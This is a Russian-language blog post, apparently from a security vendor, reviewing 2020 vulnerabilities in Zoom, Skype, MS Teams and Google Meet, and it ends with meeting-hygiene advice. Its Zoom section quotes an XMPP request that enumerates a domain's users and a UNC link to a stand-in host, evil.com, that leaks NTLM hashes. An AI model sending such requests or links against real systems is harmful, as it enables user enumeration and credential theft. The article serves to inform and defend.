image

Базовые требования к сервисам для организации видеоконференцсвязи — качество, надёжность и безопасность. И если первые два требования в основном сопоставимы у всех крупных игроков, то ситуация с безопасностью значительно отличается. В этом посте рассмотрим, как обстоят дела с защитой у самых используемых сервисов: Zoom, Skype, Microsoft Teams и Google Meet.

С начала пандемии все сервисы для организации видеоконференцсвязи столкнулись с взрывным ростом числа пользователей:



image
Рост стоимости акций Zoom Video с момента начала пандемии. Источник: Investing.com

Однако массовый спрос вызвал не только рост курса акций компаний, но и наглядно продемонстрировал проблемы с безопасностью сервисов, о которых раньше почему-то никто не задумывался. Некоторые из проблем связаны с качеством работы программистов и могут привести к удалённому выполнению кода. В основе других лежат неправильные архитектурные решения, обеспечивающие возможность для злонамеренного использования сервиса.

Zoom


Компания Zoom Video буквально ворвалась на рынок ВКС-сервисов и быстро стала лидером. К сожалению, лидерство проявилось не только в числе пользователей, но и в количестве обнаруженных ошибок. Ситуация была настолько удручающей, что военные и государственные ведомства многих стран запретили сотрудникам пользоваться проблемным продуктом; их примеру последовали крупные компании. Рассмотрим уязвимости Zoom, ставшие причиной таких решений.

Проблемы с шифрованием

Zoom декларирует, что все видеозвонки защищены шифрованием, однако в действительности всё не так красиво: сервис действительно использует шифрование, но сеансовый ключ клиентская программа запрашивает у одного из серверов «системы управления ключами», входящими в состав облачной инфраструктуры Zoom. Эти серверы генерируют ключ шифрования и выдают его абонентам, которые подключаются к конференции — один ключ для всех участников конференции.

Передача ключа от сервера к клиенту происходит через протокол TLS, который также используется для https. Если кто-то из участников конференции пользуется Zoom на телефоне, копия ключа шифрования также будет передана ещё одному серверу-коннектору телефонии Zoom.

Часть серверов системы управления ключами расположена в Китае, причём они используются для выдачи ключей даже когда все участники конференции находятся в других странах. Возникают справедливые опасения, что правительство КНР может перехватить зашифрованный трафик, а затем расшифровать его с помощью ключей, полученных от провайдеров в добровольно-принудительном порядке.

Другая проблема шифрования связана с его практической реализацией:

  • хотя в документации указано, что используются 256-битные ключи AES, их фактическая длина составляет лишь 128 бит;
  • алгоритм AES работает в режиме ECB, при использовании которого результат шифрования частично сохраняет структуру исходных данных.

image
Результат шифрования изображения с использованием режима ECB и других режимов AES. Источник: Wikipedia

Уязвимость на 500 тыс. долларов

В середине апреля 2020 года в клиентах Zoom для Windows и macOS были обнаружены две уязвимости нулевого дня. RCE-уязвимость Windows-клиента сразу же выставили на продажу за 500 тыс. Долларов США. Чтобы воспользоваться ошибкой, атакующий должен позвонить жертве, либо участвовать с ней в одной конференции.

Уязвимость в macOS-клиенте не давала таких возможностей, поэтому её использование в реальных атаках маловероятно.

Ответы на неавторизованные XMPP-запросы

В конце апреля 2020 года в Zoom обнаружили ещё одну уязвимость: с помощью специально сформированного XMPP-запроса любой желающий мог получить список всех пользователей сервиса, относящихся к любому домену. Например, можно было получить список адресов пользователей с домена usa.gov, отправив XMPP-запрос вида:

<iq id='{XXXX}' type='get' 
from='any_username@xmpp.zoom.us/ZoomChat_pc' xmlns='jabber:client'> 
	<query xmlns='zoom:iq:group' chunk='1' directory='1'> 
	<group id='usa.gov' version='0' option='0'/> 
	</query>
</iq>

Приложение просто не проверяло домен пользователя, запрашивающего список адресов.

Захват контроля над macOS

В клиенте Zoom для macOS были обнаружен две уязвимости, позволявшие злоумышленнику захватить контроль над устройством.

  1. Инсталлятор Zoom применял технику теневой установки, которую часто используют вредоносные программы, чтобы установиться без взаимодействия с пользователем. Локальный непривилегированный злоумышленник мог внедрить в инсталлятор Zoom вредоносный код и получить привилегии root.
  2. Внедрив вредоносный код в установленный Zoom-клиент, атакующий мог получить доступ к камере и микрофону, уже предоставленный приложению. При этом не будет отображаться никаких дополнительных запросов или уведомлений.

UNC-уязвимость в Windows-клиенте

Обнаруженная в клиенте Zoom для Windows уязвимость могла привести к утечке учётных данных пользователей через UNC-ссылки. Причина в том, что Windows-клиент Zoom преобразует ссылки в UNC-пути, поэтому, если отправить в чат ссылку вида \\evil.com\img\kotik.jpg, Windows попытается подключиться к этому сайту, используя протокол SMB, чтобы открыть файл kotik.jpg. Удалённый сайт получит от локального компьютера имя пользователя и NTLM-хэш, который можно взломать, используя утилиту Hashcat или другие инструменты.

Используя эту технику, можно было запустить практически любую программу на локальном компьютере. Например, по ссылке \127.0.0.1\C$\windows\system32\calc.exe запустится калькулятор.

Утечки записей видеозвонков

В начале апреля на YouTube и Vimeo появились в открытом доступе записи личных видеозвонков пользователей Zoom. В их числе были школьные уроки, психотерапевтические сеансы и консультации врачей, а также корпоративные совещания.
Причиной утечки стало то, что сервис присваивал видеоконференциям открытые идентификаторы, а организаторы конференций не защищали доступ к ним паролем. Любой желающий мог «слить» записи и использовать их по своему усмотрению.

Зумбомбинг

Тот самый случай, когда недостаточное внимание к настройкам безопасности конференций по умолчанию приводит к печальным последствиям. Для подключения к любой видеовстрече в Zoom достаточно было знать идентификатор встречи, и этим массово стали пользоваться пранкеры. Они врывались на онлайн-уроки и упражнялись там в своеобразном «остроумии», например, запускали демонстрацию экрана с порнороликом или разрисовывали документ на экране учителя непристойными изображениями.

Затем выяснилось, что проблема значительно шире, чем просто срыв онлайн-уроков. Журналисты The New York Times обнаружили закрытые чаты и ветки на форумах Reddit и 4Chan, участники которых проводили массовые кампании по срыву публичных мероприятий, онлайн-встреч обществ анонимных алкоголиков и других Zoom-встреч. Они разыскивали опубликованные в общем доступе реквизиты для подключения, а затем приглашали других троллей присоединиться к «веселью».

Работа над ошибками

Массовые отказы от использования сервиса заставили руководство Zoom принимать экстренные меры. В своём интервью CNN в начале апреля CEO Zoom Эрик Юань сказал, что компания двигалась слишком быстро, поэтому они допустили некоторые ошибки. Усвоив урок, они сделали шаг назад, чтобы сосредоточиться на конфиденциальности и безопасности.

В соответствии с программой «90 дней к безопасности», Zoom c 1 апреля 2020 года остановила работу над новыми функциями и занялась устранением выявленных проблем и аудитом безопасности кода.
Результатом этих мер стал выпуск Zoom версии 5.0, в которой помимо прочего проапгрейдили AES-шифрование до 256 бит и реализовали множество других доработок, связанных с безопасностью по умолчанию.

Skype


Несмотря на быстрый рост числа пользователей, Skype появлялся в новостях информационной безопасности текущего года всего раз, да и то не в связи с уязвимостью. В январе 2020 года один из бывших подрядчиков рассказал изданию The Guardian, что Microsoft в течение нескольких лет прослушивала и обрабатывала голоса пользователей Skype и Cortana без каких-либо мер безопасности. Однако впервые об этом стало известно ещё в августе 2019 года, и уже тогда представители Microsoft пояснили, что сбор голосовых данных проводится для обеспечения и совершенствования работы голосовых сервисов: поиска и распознавания голосовых команд, перевода речи и транскрибирования.

image
Результат поиска в базе уязвимостей по запросу «Skype». Источник: cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Skype

Что касается уязвимостей, то по данным базы CVE, в 2020 году в Skype не найдено ни одной уязвимости.

MS Teams


Microsoft уделяет много внимания безопасности своих продуктов, в том числе и MS Teams (хотя противоположное мнение широкого распространено). В 2019-2020 году в Teams обнаружены и исправлены следующие уязвимости:

1. CVE-2019-5922 — уязвимость в инсталляторе Teams, которая позволяла атакующему подсунуть ему вредоносную DLL и получить права в целевой системе, так как инсталлятор не проверял, что за DLL находится в его папке.

2. Уязвимость платформы Microsoft Teams позволяла скомпрометировать учётную запись пользователя с помощью картинки.

image
Схема атаки на MS Teams с помощью картинки. Источник: www.cyberark.com/resources/threat-research-blog/beware-of-the-gif-account-takeover-vulnerability-in-microsoft-teams

Источник проблемы был в том, как Teams работает с токенами доступа к изображениям. Для аутентификации пользователя в платформе используются два токена: authtoken и skypetoken. Authtoken позволяет пользователю загружать изображения в доменах Teams и Skype и генерирует skypetoken, который используется для аутентификации на сервере, обрабатывающем команды от клиента, например, чтение или отправку сообщений.

Перехвативший оба токена злоумышленник может выполнять вызовы Teams API и получить полный контроль над учётной записью:

  • читать и отправлять сообщения,
  • создавать группы,
  • добавлять и удалять пользователей,
  • менять разрешения.

Для перехвата достаточно было заманить жертву на подконтрольный злоумышленнику поддомен домена teams.microsoft.com с помощью GIF-файла. Тогда браузер жертвы отправит хакеру authtoken, после получения которого он сможет создать skypetoken.

3. Несколько уязвимостей, обнаруженных исследователями Tenable в компоненте для отправки открыток с благодарностями (Praise Cards) и окнах чата, позволяли внедрить код для несанкционированного изменения настроек, а также для хищения учётных данных пользователя. Microsoft не выпускала отдельных рекомендаций по поводу этих проблем, исправив их в новой версии приложения.

Google Meet


В отличие от аналогичных сервисов Google Meet полностью работает в браузере. Благодаря этой особенности за последние два года видеоконференцсвязь от Google ни разу не засветилась в новостях информационной безопасности. Даже вызванный пандемией 30-кратный рост числа пользователей не выявил уязвимостей, затрагивающих их безопасность.

Наши рекомендации


Использование любых программ требует ответственного отношения к безопасности, и средства для проведения видеоконференций не исключение. Приведём некоторые правила, которые помогут защитить ваши онлайн-встречи:

  1. используйте последнюю версию ПО,
  2. загружайте установщики программ только с официальных ресурсов,
  3. не публикуйте ID встреч в интернете,
  4. защищайте учётные записи с помощью двухфакторной аутентификации,
  5. разрешайте подключение к встречам только авторизованным пользователям,
  6. закройте возможность новых подключений после начала мероприятия,
  7. включите для организатора возможность блокировать или удалять участников встречи,
  8. используйте современные антивирусные решения, обеспечивающие комплексную защиту от новых и известных угроз.

Соблюдение правил онлайн-гигиены для видеоконференций позволят эффективно и безопасно работать даже в самые сложные периоды.